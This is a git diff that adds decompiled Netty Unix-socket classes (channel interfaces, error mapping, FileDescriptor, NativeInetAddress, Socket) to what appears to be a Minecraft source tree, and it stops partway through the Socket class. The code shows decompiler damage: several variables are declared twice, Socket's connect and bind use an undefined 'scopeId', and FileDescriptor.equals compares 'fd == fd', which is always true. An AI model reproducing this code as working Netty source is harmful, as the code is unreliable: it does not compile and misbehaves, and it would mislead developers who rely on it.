+++ b/src/minecraft/io/netty/channel/unix/DomainSocketChannel.java
@@ -0,0 +1,13 @@
+package io.netty.channel.unix;
+
+import io.netty.channel.socket.DuplexChannel;
+
+public abstract interface DomainSocketChannel
+  extends UnixChannel, DuplexChannel
+{
+  public abstract DomainSocketAddress remoteAddress();
+  
+  public abstract DomainSocketAddress localAddress();
+  
+  public abstract DomainSocketChannelConfig config();
+}
diff --git a/src/minecraft/io/netty/channel/unix/DomainSocketChannelConfig.java b/src/minecraft/io/netty/channel/unix/DomainSocketChannelConfig.java
new file mode 100644
index 0000000..cf4c5f9
--- /dev/null
+++ b/src/minecraft/io/netty/channel/unix/DomainSocketChannelConfig.java
@@ -0,0 +1,40 @@
+package io.netty.channel.unix;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.WriteBufferWaterMark;
+
+public abstract interface DomainSocketChannelConfig
+  extends ChannelConfig
+{
+  @Deprecated
+  public abstract DomainSocketChannelConfig setMaxMessagesPerRead(int paramInt);
+  
+  public abstract DomainSocketChannelConfig setConnectTimeoutMillis(int paramInt);
+  
+  public abstract DomainSocketChannelConfig setWriteSpinCount(int paramInt);
+  
+  public abstract DomainSocketChannelConfig setAllocator(ByteBufAllocator paramByteBufAllocator);
+  
+  public abstract DomainSocketChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator paramRecvByteBufAllocator);
+  
+  public abstract DomainSocketChannelConfig setAutoRead(boolean paramBoolean);
+  
+  public abstract DomainSocketChannelConfig setAutoClose(boolean paramBoolean);
+  
+  @Deprecated
+  public abstract DomainSocketChannelConfig setWriteBufferHighWaterMark(int paramInt);
+  
+  @Deprecated
+  public abstract DomainSocketChannelConfig setWriteBufferLowWaterMark(int paramInt);
+  
+  public abstract DomainSocketChannelConfig setWriteBufferWaterMark(WriteBufferWaterMark paramWriteBufferWaterMark);
+  
+  public abstract DomainSocketChannelConfig setMessageSizeEstimator(MessageSizeEstimator paramMessageSizeEstimator);
+  
+  public abstract DomainSocketChannelConfig setReadMode(DomainSocketReadMode paramDomainSocketReadMode);
+  
+  public abstract DomainSocketReadMode getReadMode();
+}
diff --git a/src/minecraft/io/netty/channel/unix/DomainSocketReadMode.java b/src/minecraft/io/netty/channel/unix/DomainSocketReadMode.java
new file mode 100644
index 0000000..09bac05
--- /dev/null
+++ b/src/minecraft/io/netty/channel/unix/DomainSocketReadMode.java
@@ -0,0 +1,8 @@
+package io.netty.channel.unix;
+
+public enum DomainSocketReadMode
+{
+  BYTES,  FILE_DESCRIPTORS;
+  
+  private DomainSocketReadMode() {}
+}
diff --git a/src/minecraft/io/netty/channel/unix/Errors.java b/src/minecraft/io/netty/channel/unix/Errors.java
new file mode 100644
index 0000000..6433ad9
--- /dev/null
+++ b/src/minecraft/io/netty/channel/unix/Errors.java
@@ -0,0 +1,142 @@
+package io.netty.channel.unix;
+
+import io.netty.util.internal.EmptyArrays;
+import java.io.IOException;
+import java.net.ConnectException;
+import java.net.NoRouteToHostException;
+import java.nio.channels.AlreadyConnectedException;
+import java.nio.channels.ClosedChannelException;
+import java.nio.channels.ConnectionPendingException;
+import java.nio.channels.NotYetConnectedException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Errors
+{
+  public static final int ERRNO_ENOTCONN_NEGATIVE = -ErrorsStaticallyReferencedJniMethods.errnoENOTCONN();
+  public static final int ERRNO_EBADF_NEGATIVE = -ErrorsStaticallyReferencedJniMethods.errnoEBADF();
+  public static final int ERRNO_EPIPE_NEGATIVE = -ErrorsStaticallyReferencedJniMethods.errnoEPIPE();
+  public static final int ERRNO_ECONNRESET_NEGATIVE = -ErrorsStaticallyReferencedJniMethods.errnoECONNRESET();
+  public static final int ERRNO_EAGAIN_NEGATIVE = -ErrorsStaticallyReferencedJniMethods.errnoEAGAIN();
+  public static final int ERRNO_EWOULDBLOCK_NEGATIVE = -ErrorsStaticallyReferencedJniMethods.errnoEWOULDBLOCK();
+  public static final int ERRNO_EINPROGRESS_NEGATIVE = -ErrorsStaticallyReferencedJniMethods.errnoEINPROGRESS();
+  public static final int ERROR_ECONNREFUSED_NEGATIVE = -ErrorsStaticallyReferencedJniMethods.errorECONNREFUSED();
+  public static final int ERROR_EISCONN_NEGATIVE = -ErrorsStaticallyReferencedJniMethods.errorEISCONN();
+  public static final int ERROR_EALREADY_NEGATIVE = -ErrorsStaticallyReferencedJniMethods.errorEALREADY();
+  public static final int ERROR_ENETUNREACH_NEGATIVE = -ErrorsStaticallyReferencedJniMethods.errorENETUNREACH();
+  
+
+
+
+
+
+
+
+  private static final String[] ERRORS = new String['Ȁ'];
+  
+  public static final class NativeIoException extends IOException
+  {
+    private static final long serialVersionUID = 8222160204268655526L;
+    private final int expectedErr;
+    
+    public NativeIoException(String method, int expectedErr)
+    {
+      super();
+      this.expectedErr = expectedErr;
+    }
+    
+
+    public int expectedErr() { return expectedErr; }
+  }
+  
+  static final class NativeConnectException extends ConnectException {
+    private static final long serialVersionUID = -5532328671712318161L;
+    private final int expectedErr;
+    
+    NativeConnectException(String method, int expectedErr) {
+      super();
+      this.expectedErr = expectedErr;
+    }
+    
+    int expectedErr() {
+      return expectedErr;
+    }
+  }
+  
+  static {
+    for (int i = 0; i < ERRORS.length; i++)
+    {
+      ERRORS[i] = ErrorsStaticallyReferencedJniMethods.strError(i);
+    }
+  }
+  
+  static void throwConnectException(String method, NativeConnectException refusedCause, int err) throws IOException
+  {
+    if (err == refusedCause.expectedErr()) {
+      throw refusedCause;
+    }
+    if (err == ERROR_EALREADY_NEGATIVE) {
+      throw new ConnectionPendingException();
+    }
+    if (err == ERROR_ENETUNREACH_NEGATIVE) {
+      throw new NoRouteToHostException();
+    }
+    if (err == ERROR_EISCONN_NEGATIVE) {
+      throw new AlreadyConnectedException();
+    }
+    throw new ConnectException(method + "() failed: " + ERRORS[(-err)]);
+  }
+  
+  public static NativeIoException newConnectionResetException(String method, int errnoNegative) {
+    NativeIoException exception = newIOException(method, errnoNegative);
+    exception.setStackTrace(EmptyArrays.EMPTY_STACK_TRACE);
+    return exception;
+  }
+  
+  public static NativeIoException newIOException(String method, int err) {
+    return new NativeIoException(method + "() failed: " + ERRORS[(-err)], err);
+  }
+  
+  public static int ioResult(String method, int err, NativeIoException resetCause, ClosedChannelException closedCause)
+    throws IOException
+  {
+    if ((err == ERRNO_EAGAIN_NEGATIVE) || (err == ERRNO_EWOULDBLOCK_NEGATIVE)) {
+      return 0;
+    }
+    if (err == resetCause.expectedErr()) {
+      throw resetCause;
+    }
+    if (err == ERRNO_EBADF_NEGATIVE) {
+      throw closedCause;
+    }
+    if (err == ERRNO_ENOTCONN_NEGATIVE) {
+      throw new NotYetConnectedException();
+    }
+    
+
+
+    throw newIOException(method, err);
+  }
+  
+  private Errors() {}
+}
diff --git a/src/minecraft/io/netty/channel/unix/ErrorsStaticallyReferencedJniMethods.java b/src/minecraft/io/netty/channel/unix/ErrorsStaticallyReferencedJniMethods.java
new file mode 100644
index 0000000..a820884
--- /dev/null
+++ b/src/minecraft/io/netty/channel/unix/ErrorsStaticallyReferencedJniMethods.java
@@ -0,0 +1,30 @@
+package io.netty.channel.unix;
+
+final class ErrorsStaticallyReferencedJniMethods
+{
+  private ErrorsStaticallyReferencedJniMethods() {}
+  
+  static native int errnoEBADF();
+  
+  static native int errnoEPIPE();
+  
+  static native int errnoECONNRESET();
+  
+  static native int errnoENOTCONN();
+  
+  static native int errnoEAGAIN();
+  
+  static native int errnoEWOULDBLOCK();
+  
+  static native int errnoEINPROGRESS();
+  
+  static native int errorECONNREFUSED();
+  
+  static native int errorEISCONN();
+  
+  static native int errorEALREADY();
+  
+  static native int errorENETUNREACH();
+  
+  static native String strError(int paramInt);
+}
diff --git a/src/minecraft/io/netty/channel/unix/FileDescriptor.java b/src/minecraft/io/netty/channel/unix/FileDescriptor.java
new file mode 100644
index 0000000..941bc83
--- /dev/null
+++ b/src/minecraft/io/netty/channel/unix/FileDescriptor.java
@@ -0,0 +1,282 @@
+package io.netty.channel.unix;
+
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.ThrowableUtil;
+import java.io.File;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.channels.ClosedChannelException;
+import java.util.concurrent.atomic.AtomicIntegerFieldUpdater;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FileDescriptor
+{
+  private static final ClosedChannelException WRITE_CLOSED_CHANNEL_EXCEPTION = (ClosedChannelException)ThrowableUtil.unknownStackTrace(new ClosedChannelException(), FileDescriptor.class, "write(...)");
+  
+  private static final ClosedChannelException WRITE_ADDRESS_CLOSED_CHANNEL_EXCEPTION = (ClosedChannelException)ThrowableUtil.unknownStackTrace(new ClosedChannelException(), FileDescriptor.class, "writeAddress(...)");
+  
+  private static final ClosedChannelException WRITEV_CLOSED_CHANNEL_EXCEPTION = (ClosedChannelException)ThrowableUtil.unknownStackTrace(new ClosedChannelException(), FileDescriptor.class, "writev(...)");
+  
+  private static final ClosedChannelException WRITEV_ADDRESSES_CLOSED_CHANNEL_EXCEPTION = (ClosedChannelException)ThrowableUtil.unknownStackTrace(new ClosedChannelException(), FileDescriptor.class, "writevAddresses(...)");
+  
+  private static final ClosedChannelException READ_CLOSED_CHANNEL_EXCEPTION = (ClosedChannelException)ThrowableUtil.unknownStackTrace(new ClosedChannelException(), FileDescriptor.class, "read(...)");
+  
+  private static final ClosedChannelException READ_ADDRESS_CLOSED_CHANNEL_EXCEPTION = (ClosedChannelException)ThrowableUtil.unknownStackTrace(new ClosedChannelException(), FileDescriptor.class, "readAddress(...)");
+  
+  private static final Errors.NativeIoException WRITE_CONNECTION_RESET_EXCEPTION = (Errors.NativeIoException)ThrowableUtil.unknownStackTrace(Errors.newConnectionResetException("syscall:write(...)", Errors.ERRNO_EPIPE_NEGATIVE), FileDescriptor.class, "write(...)");
+  
+
+  private static final Errors.NativeIoException WRITE_ADDRESS_CONNECTION_RESET_EXCEPTION = (Errors.NativeIoException)ThrowableUtil.unknownStackTrace(Errors.newConnectionResetException("syscall:write(...)", Errors.ERRNO_EPIPE_NEGATIVE), FileDescriptor.class, "writeAddress(...)");
+  
+
+  private static final Errors.NativeIoException WRITEV_CONNECTION_RESET_EXCEPTION = (Errors.NativeIoException)ThrowableUtil.unknownStackTrace(Errors.newConnectionResetException("syscall:writev(...)", Errors.ERRNO_EPIPE_NEGATIVE), FileDescriptor.class, "writev(...)");
+  
+
+  private static final Errors.NativeIoException WRITEV_ADDRESSES_CONNECTION_RESET_EXCEPTION = (Errors.NativeIoException)ThrowableUtil.unknownStackTrace(Errors.newConnectionResetException("syscall:writev(...)", Errors.ERRNO_EPIPE_NEGATIVE), FileDescriptor.class, "writeAddresses(...)");
+  
+
+  private static final Errors.NativeIoException READ_CONNECTION_RESET_EXCEPTION = (Errors.NativeIoException)ThrowableUtil.unknownStackTrace(Errors.newConnectionResetException("syscall:read(...)", Errors.ERRNO_ECONNRESET_NEGATIVE), FileDescriptor.class, "read(...)");
+  
+
+  private static final Errors.NativeIoException READ_ADDRESS_CONNECTION_RESET_EXCEPTION = (Errors.NativeIoException)ThrowableUtil.unknownStackTrace(Errors.newConnectionResetException("syscall:read(...)", Errors.ERRNO_ECONNRESET_NEGATIVE), FileDescriptor.class, "readAddress(...)");
+  private static final AtomicIntegerFieldUpdater<FileDescriptor> stateUpdater;
+  private static final int STATE_CLOSED_MASK = 1;
+  private static final int STATE_INPUT_SHUTDOWN_MASK = 2;
+  
+  static {
+    AtomicIntegerFieldUpdater<FileDescriptor> updater = PlatformDependent.newAtomicIntegerFieldUpdater(FileDescriptor.class, "state");
+    
+    if (updater == null) {
+      updater = AtomicIntegerFieldUpdater.newUpdater(FileDescriptor.class, "state");
+    }
+    stateUpdater = updater;
+  }
+  
+
+
+  private static final int STATE_OUTPUT_SHUTDOWN_MASK = 4;
+  
+
+  private static final int STATE_ALL_MASK = 7;
+  
+  volatile int state;
+  
+  final int fd;
+  
+  public FileDescriptor(int fd)
+  {
+    if (fd < 0) {
+      throw new IllegalArgumentException("fd must be >= 0");
+    }
+    this.fd = fd;
+  }
+  
+
+
+  public int intValue()
+  {
+    return fd;
+  }
+  
+  public void close()
+    throws IOException
+  {
+    for (;;)
+    {
+      int state = this.state;
+      if (isClosed(state)) {
+        return;
+      }
+      
+      if (casState(state, state | 0x7)) {
+        break;
+      }
+    }
+    int res = close(fd);
+    if (res < 0) {
+      throw Errors.newIOException("close", res);
+    }
+  }
+  
+
+
+  public boolean isOpen()
+  {
+    return !isClosed(state);
+  }
+  
+  public final int write(ByteBuffer buf, int pos, int limit) throws IOException {
+    int res = write(fd, buf, pos, limit);
+    if (res >= 0) {
+      return res;
+    }
+    return Errors.ioResult("write", res, WRITE_CONNECTION_RESET_EXCEPTION, WRITE_CLOSED_CHANNEL_EXCEPTION);
+  }
+  
+  public final int writeAddress(long address, int pos, int limit) throws IOException {
+    int res = writeAddress(fd, address, pos, limit);
+    if (res >= 0) {
+      return res;
+    }
+    return Errors.ioResult("writeAddress", res, WRITE_ADDRESS_CONNECTION_RESET_EXCEPTION, WRITE_ADDRESS_CLOSED_CHANNEL_EXCEPTION);
+  }
+  
+  public final long writev(ByteBuffer[] buffers, int offset, int length) throws IOException
+  {
+    long res = writev(fd, buffers, offset, length);
+    if (res >= 0L) {
+      return res;
+    }
+    return Errors.ioResult("writev", (int)res, WRITEV_CONNECTION_RESET_EXCEPTION, WRITEV_CLOSED_CHANNEL_EXCEPTION);
+  }
+  
+  public final long writevAddresses(long memoryAddress, int length) throws IOException {
+    long res = writevAddresses(fd, memoryAddress, length);
+    if (res >= 0L) {
+      return res;
+    }
+    return Errors.ioResult("writevAddresses", (int)res, WRITEV_ADDRESSES_CONNECTION_RESET_EXCEPTION, WRITEV_ADDRESSES_CLOSED_CHANNEL_EXCEPTION);
+  }
+  
+  public final int read(ByteBuffer buf, int pos, int limit) throws IOException
+  {
+    int res = read(fd, buf, pos, limit);
+    if (res > 0) {
+      return res;
+    }
+    if (res == 0) {
+      return -1;
+    }
+    return Errors.ioResult("read", res, READ_CONNECTION_RESET_EXCEPTION, READ_CLOSED_CHANNEL_EXCEPTION);
+  }
+  
+  public final int readAddress(long address, int pos, int limit) throws IOException {
+    int res = readAddress(fd, address, pos, limit);
+    if (res > 0) {
+      return res;
+    }
+    if (res == 0) {
+      return -1;
+    }
+    return Errors.ioResult("readAddress", res, READ_ADDRESS_CONNECTION_RESET_EXCEPTION, READ_ADDRESS_CLOSED_CHANNEL_EXCEPTION);
+  }
+  
+
+  public String toString()
+  {
+    return "FileDescriptor{fd=" + fd + '}';
+  }
+  
+
+
+  public boolean equals(Object o)
+  {
+    if (this == o) {
+      return true;
+    }
+    if (!(o instanceof FileDescriptor)) {
+      return false;
+    }
+    
+    return fd == fd;
+  }
+  
+  public int hashCode()
+  {
+    return fd;
+  }
+  
+
+  public static FileDescriptor from(String path)
+    throws IOException
+  {
+    ObjectUtil.checkNotNull(path, "path");
+    int res = open(path);
+    if (res < 0) {
+      throw Errors.newIOException("open", res);
+    }
+    return new FileDescriptor(res);
+  }
+  
+
+  public static FileDescriptor from(File file)
+    throws IOException
+  {
+    return from(((File)ObjectUtil.checkNotNull(file, "file")).getPath());
+  }
+  
+
+  public static FileDescriptor[] pipe()
+    throws IOException
+  {
+    long res = newPipe();
+    if (res < 0L) {
+      throw Errors.newIOException("newPipe", (int)res);
+    }
+    return new FileDescriptor[] { new FileDescriptor((int)(res >>> 32)), new FileDescriptor((int)res) };
+  }
+  
+  final boolean casState(int expected, int update) {
+    return stateUpdater.compareAndSet(this, expected, update);
+  }
+  
+  static boolean isClosed(int state) {
+    return (state & 0x1) != 0;
+  }
+  
+  static boolean isInputShutdown(int state) {
+    return (state & 0x2) != 0;
+  }
+  
+  static boolean isOutputShutdown(int state) {
+    return (state & 0x4) != 0;
+  }
+  
+  static int inputShutdown(int state) {
+    return state | 0x2;
+  }
+  
+  static int outputShutdown(int state) {
+    return state | 0x4;
+  }
+  
+  private static native int open(String paramString);
+  
+  private static native int close(int paramInt);
+  
+  private static native int write(int paramInt1, ByteBuffer paramByteBuffer, int paramInt2, int paramInt3);
+  
+  private static native int writeAddress(int paramInt1, long paramLong, int paramInt2, int paramInt3);
+  
+  private static native long writev(int paramInt1, ByteBuffer[] paramArrayOfByteBuffer, int paramInt2, int paramInt3);
+  
+  private static native long writevAddresses(int paramInt1, long paramLong, int paramInt2);
+  
+  private static native int read(int paramInt1, ByteBuffer paramByteBuffer, int paramInt2, int paramInt3);
+  
+  private static native int readAddress(int paramInt1, long paramLong, int paramInt2, int paramInt3);
+  
+  private static native long newPipe();
+}
diff --git a/src/minecraft/io/netty/channel/unix/NativeInetAddress.java b/src/minecraft/io/netty/channel/unix/NativeInetAddress.java
new file mode 100644
index 0000000..ef0bde6
--- /dev/null
+++ b/src/minecraft/io/netty/channel/unix/NativeInetAddress.java
@@ -0,0 +1,104 @@
+package io.netty.channel.unix;
+
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.UnknownHostException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class NativeInetAddress
+{
+  private static final byte[] IPV4_MAPPED_IPV6_PREFIX = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1 };
+  final byte[] address;
+  final int scopeId;
+  
+  public static NativeInetAddress newInstance(InetAddress addr)
+  {
+    byte[] bytes = addr.getAddress();
+    if ((addr instanceof Inet6Address)) {
+      return new NativeInetAddress(bytes, ((Inet6Address)addr).getScopeId());
+    }
+    
+    return new NativeInetAddress(ipv4MappedIpv6Address(bytes));
+  }
+  
+  public NativeInetAddress(byte[] address, int scopeId)
+  {
+    this.address = address;
+    this.scopeId = scopeId;
+  }
+  
+  public NativeInetAddress(byte[] address) {
+    this(address, 0);
+  }
+  
+  public byte[] address() {
+    return address;
+  }
+  
+  public int scopeId() {
+    return scopeId;
+  }
+  
+  public static byte[] ipv4MappedIpv6Address(byte[] ipv4) {
+    byte[] address = new byte[16];
+    System.arraycopy(IPV4_MAPPED_IPV6_PREFIX, 0, address, 0, IPV4_MAPPED_IPV6_PREFIX.length);
+    System.arraycopy(ipv4, 0, address, 12, ipv4.length);
+    return address;
+  }
+  
+  public static InetSocketAddress address(byte[] addr, int offset, int len)
+  {
+    int port = decodeInt(addr, offset + len - 4);
+    try {
+      InetAddress address;
+      InetAddress address;
+      switch (len)
+      {
+
+
+      case 8: 
+        byte[] ipv4 = new byte[4];
+        System.arraycopy(addr, offset, ipv4, 0, 4);
+        address = InetAddress.getByAddress(ipv4);
+        break;
+      
+
+
+
+
+      case 24: 
+        byte[] ipv6 = new byte[16];
+        System.arraycopy(addr, offset, ipv6, 0, 16);
+        int scopeId = decodeInt(addr, offset + len - 8);
+        address = Inet6Address.getByAddress(null, ipv6, scopeId);
+        break;
+      default: 
+        throw new Error(); }
+      InetAddress address;
+      return new InetSocketAddress(address, port);
+    } catch (UnknownHostException e) {
+      throw new Error("Should never happen", e);
+    }
+  }
+  
+  static int decodeInt(byte[] addr, int index) {
+    return (addr[index] & 0xFF) << 24 | (addr[(index + 1)] & 0xFF) << 16 | (addr[(index + 2)] & 0xFF) << 8 | addr[(index + 3)] & 0xFF;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/unix/ServerDomainSocketChannel.java b/src/minecraft/io/netty/channel/unix/ServerDomainSocketChannel.java
new file mode 100644
index 0000000..e672b8e
--- /dev/null
+++ b/src/minecraft/io/netty/channel/unix/ServerDomainSocketChannel.java
@@ -0,0 +1,11 @@
+package io.netty.channel.unix;
+
+import io.netty.channel.ServerChannel;
+
+public abstract interface ServerDomainSocketChannel
+  extends ServerChannel, UnixChannel
+{
+  public abstract DomainSocketAddress remoteAddress();
+  
+  public abstract DomainSocketAddress localAddress();
+}
diff --git a/src/minecraft/io/netty/channel/unix/Socket.java b/src/minecraft/io/netty/channel/unix/Socket.java
new file mode 100644
index 0000000..298dc10
--- /dev/null
+++ b/src/minecraft/io/netty/channel/unix/Socket.java
@@ -0,0 +1,473 @@
+package io.netty.channel.unix;
+
+import io.netty.channel.ChannelException;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.ThrowableUtil;
+import java.io.IOException;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+import java.nio.ByteBuffer;
+import java.nio.channels.ClosedChannelException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Socket
+  extends FileDescriptor
+{
+  private static final ClosedChannelException SHUTDOWN_CLOSED_CHANNEL_EXCEPTION = (ClosedChannelException)ThrowableUtil.unknownStackTrace(new ClosedChannelException(), Socket.class, "shutdown(...)");
+  
+  private static final ClosedChannelException SEND_TO_CLOSED_CHANNEL_EXCEPTION = (ClosedChannelException)ThrowableUtil.unknownStackTrace(new ClosedChannelException(), Socket.class, "sendTo(...)");
+  
+  private static final ClosedChannelException SEND_TO_ADDRESS_CLOSED_CHANNEL_EXCEPTION = (ClosedChannelException)ThrowableUtil.unknownStackTrace(new ClosedChannelException(), Socket.class, "sendToAddress(...)");
+  
+  private static final ClosedChannelException SEND_TO_ADDRESSES_CLOSED_CHANNEL_EXCEPTION = (ClosedChannelException)ThrowableUtil.unknownStackTrace(new ClosedChannelException(), Socket.class, "sendToAddresses(...)");
+  
+  private static final Errors.NativeIoException SEND_TO_CONNECTION_RESET_EXCEPTION = (Errors.NativeIoException)ThrowableUtil.unknownStackTrace(Errors.newConnectionResetException("syscall:sendto(...)", Errors.ERRNO_EPIPE_NEGATIVE), Socket.class, "sendTo(...)");
+  
+
+  private static final Errors.NativeIoException SEND_TO_ADDRESS_CONNECTION_RESET_EXCEPTION = (Errors.NativeIoException)ThrowableUtil.unknownStackTrace(Errors.newConnectionResetException("syscall:sendto(...)", Errors.ERRNO_EPIPE_NEGATIVE), Socket.class, "sendToAddress(...)");
+  
+
+  private static final Errors.NativeIoException CONNECTION_RESET_EXCEPTION_SENDMSG = (Errors.NativeIoException)ThrowableUtil.unknownStackTrace(Errors.newConnectionResetException("syscall:sendmsg(...)", Errors.ERRNO_EPIPE_NEGATIVE), Socket.class, "sendToAddresses(...)");
+  
+
+  private static final Errors.NativeIoException CONNECTION_RESET_SHUTDOWN_EXCEPTION = (Errors.NativeIoException)ThrowableUtil.unknownStackTrace(Errors.newConnectionResetException("syscall:shutdown(...)", Errors.ERRNO_ECONNRESET_NEGATIVE), Socket.class, "shutdown(...)");
+  
+
+  private static final Errors.NativeConnectException FINISH_CONNECT_REFUSED_EXCEPTION = (Errors.NativeConnectException)ThrowableUtil.unknownStackTrace(new Errors.NativeConnectException("syscall:getsockopt(...)", Errors.ERROR_ECONNREFUSED_NEGATIVE), Socket.class, "finishConnect(...)");
+  
+
+  private static final Errors.NativeConnectException CONNECT_REFUSED_EXCEPTION = (Errors.NativeConnectException)ThrowableUtil.unknownStackTrace(new Errors.NativeConnectException("syscall:connect(...)", Errors.ERROR_ECONNREFUSED_NEGATIVE), Socket.class, "connect(...)");
+  
+  public Socket(int fd)
+  {
+    super(fd);
+  }
+  
+  public void shutdown() throws IOException {
+    shutdown(true, true);
+  }
+  
+
+  public void shutdown(boolean read, boolean write)
+    throws IOException
+  {
+    for (;;)
+    {
+      int oldState = state;
+      if (isClosed(oldState)) {
+        throw new ClosedChannelException();
+      }
+      int newState = oldState;
+      if ((read) && (!isInputShutdown(newState))) {
+        newState = inputShutdown(newState);
+      }
+      if ((write) && (!isOutputShutdown(newState))) {
+        newState = outputShutdown(newState);
+      }
+      
+
+      if (newState == oldState) {
+        return;
+      }
+      if (casState(oldState, newState)) {
+        break;
+      }
+    }
+    int res = shutdown(fd, read, write);
+    if (res < 0) {
+      Errors.ioResult("shutdown", res, CONNECTION_RESET_SHUTDOWN_EXCEPTION, SHUTDOWN_CLOSED_CHANNEL_EXCEPTION);
+    }
+  }
+  
+  public boolean isShutdown() {
+    int state = this.state;
+    return (isInputShutdown(state)) && (isOutputShutdown(state));
+  }
+  
+  public boolean isInputShutdown() {
+    return isInputShutdown(state);
+  }
+  
+  public boolean isOutputShutdown() {
+    return isOutputShutdown(state);
+  }
+  
+  public int sendTo(ByteBuffer buf, int pos, int limit, InetAddress addr, int port) throws IOException
+  {
+    int scopeId;
+    int scopeId;
+    byte[] address;
+    if ((addr instanceof Inet6Address)) {
+      byte[] address = addr.getAddress();
+      scopeId = ((Inet6Address)addr).getScopeId();
+    }
+    else {
+      scopeId = 0;
+      address = NativeInetAddress.ipv4MappedIpv6Address(addr.getAddress());
+    }
+    int res = sendTo(fd, buf, pos, limit, address, scopeId, port);
+    if (res >= 0) {
+      return res;
+    }
+    return Errors.ioResult("sendTo", res, SEND_TO_CONNECTION_RESET_EXCEPTION, SEND_TO_CLOSED_CHANNEL_EXCEPTION);
+  }
+  
+  public int sendToAddress(long memoryAddress, int pos, int limit, InetAddress addr, int port)
+    throws IOException
+  {
+    int scopeId;
+    int scopeId;
+    byte[] address;
+    if ((addr instanceof Inet6Address)) {
+      byte[] address = addr.getAddress();
+      scopeId = ((Inet6Address)addr).getScopeId();
+    }
+    else {
+      scopeId = 0;
+      address = NativeInetAddress.ipv4MappedIpv6Address(addr.getAddress());
+    }
+    int res = sendToAddress(fd, memoryAddress, pos, limit, address, scopeId, port);
+    if (res >= 0) {
+      return res;
+    }
+    return Errors.ioResult("sendToAddress", res, SEND_TO_ADDRESS_CONNECTION_RESET_EXCEPTION, SEND_TO_ADDRESS_CLOSED_CHANNEL_EXCEPTION);
+  }
+  
+  public int sendToAddresses(long memoryAddress, int length, InetAddress addr, int port)
+    throws IOException
+  {
+    int scopeId;
+    int scopeId;
+    byte[] address;
+    if ((addr instanceof Inet6Address)) {
+      byte[] address = addr.getAddress();
+      scopeId = ((Inet6Address)addr).getScopeId();
+    }
+    else {
+      scopeId = 0;
+      address = NativeInetAddress.ipv4MappedIpv6Address(addr.getAddress());
+    }
+    int res = sendToAddresses(fd, memoryAddress, length, address, scopeId, port);
+    if (res >= 0) {
+      return res;
+    }
+    return Errors.ioResult("sendToAddresses", res, CONNECTION_RESET_EXCEPTION_SENDMSG, SEND_TO_ADDRESSES_CLOSED_CHANNEL_EXCEPTION);
+  }
+  
+  public DatagramSocketAddress recvFrom(ByteBuffer buf, int pos, int limit) throws IOException
+  {
+    return recvFrom(fd, buf, pos, limit);
+  }
+  
+  public DatagramSocketAddress recvFromAddress(long memoryAddress, int pos, int limit) throws IOException {
+    return recvFromAddress(fd, memoryAddress, pos, limit);
+  }
+  
+  public boolean connect(SocketAddress socketAddress) throws IOException {
+    int res;
+    if ((socketAddress instanceof InetSocketAddress)) {
+      InetSocketAddress inetSocketAddress = (InetSocketAddress)socketAddress;
+      NativeInetAddress address = NativeInetAddress.newInstance(inetSocketAddress.getAddress());
+      res = connect(fd, address, scopeId, inetSocketAddress.getPort()); } else { int res;
+      if ((socketAddress instanceof DomainSocketAddress)) {
+        DomainSocketAddress unixDomainSocketAddress = (DomainSocketAddress)socketAddress;
+        res = connectDomainSocket(fd, unixDomainSocketAddress.path().getBytes(CharsetUtil.UTF_8));
+      } else {
+        throw new Error("Unexpected SocketAddress implementation " + socketAddress); } }
+    int res;
+    if (res < 0) {
+      if (res == Errors.ERRNO_EINPROGRESS_NEGATIVE)
+      {
+        return false;
+      }
+      Errors.throwConnectException("connect", CONNECT_REFUSED_EXCEPTION, res);
+    }
+    return true;
+  }
+  
+  public boolean finishConnect() throws IOException {
+    int res = finishConnect(fd);
+    if (res < 0) {
+      if (res == Errors.ERRNO_EINPROGRESS_NEGATIVE)
+      {
+        return false;
+      }
+      Errors.throwConnectException("finishConnect", FINISH_CONNECT_REFUSED_EXCEPTION, res);
+    }
+    return true;
+  }
+  
+  public void bind(SocketAddress socketAddress) throws IOException {
+    if ((socketAddress instanceof InetSocketAddress)) {
+      InetSocketAddress addr = (InetSocketAddress)socketAddress;
+      NativeInetAddress address = NativeInetAddress.newInstance(addr.getAddress());
+      int res = bind(fd, address, scopeId, addr.getPort());
+      if (res < 0) {
+        throw Errors.newIOException("bind", res);
+      }
+    } else if ((socketAddress instanceof DomainSocketAddress)) {
+      DomainSocketAddress addr = (DomainSocketAddress)socketAddress;
+      int res = bindDomainSocket(fd, addr.path().getBytes(CharsetUtil.UTF_8));
+      if (res < 0) {
+        throw Errors.newIOException("bind", res);
+      }
+    } else {
+      throw new Error("Unexpected SocketAddress implementation " + socketAddress);
+    }
+  }
+  
+  public void listen(int backlog) throws IOException {
+    int res = listen(fd, backlog);
+    if (res < 0) {
+      throw Errors.newIOException("listen", res);
+    }
+  }
+  
+  public int accept(byte[] addr) throws IOException {
+    int res = accept(fd, addr);
+    if (res >= 0) {
+      return res;
+    }
+    if ((res == Errors.ERRNO_EAGAIN_NEGATIVE) || (res == Errors.ERRNO_EWOULDBLOCK_NEGATIVE))
+    {
+      return -1;
+    }
+    throw Errors.newIOException("accept", res);
+  }
+  
+  public InetSocketAddress remoteAddress() {
+    byte[] addr = remoteAddress(fd);
+    
+
+    if (addr == null) {
+      return null;
+    }
+    return NativeInetAddress.address(addr, 0, addr.length);
+  }
+  
+  public InetSocketAddress localAddress() {
+    byte[] addr = localAddress(fd);
+    
+
+    if (addr == null) {
+      return null;
+    }
+    return NativeInetAddress.address(addr, 0, addr.length);
+  }
+  
+  public int getReceiveBufferSize() throws IOException {
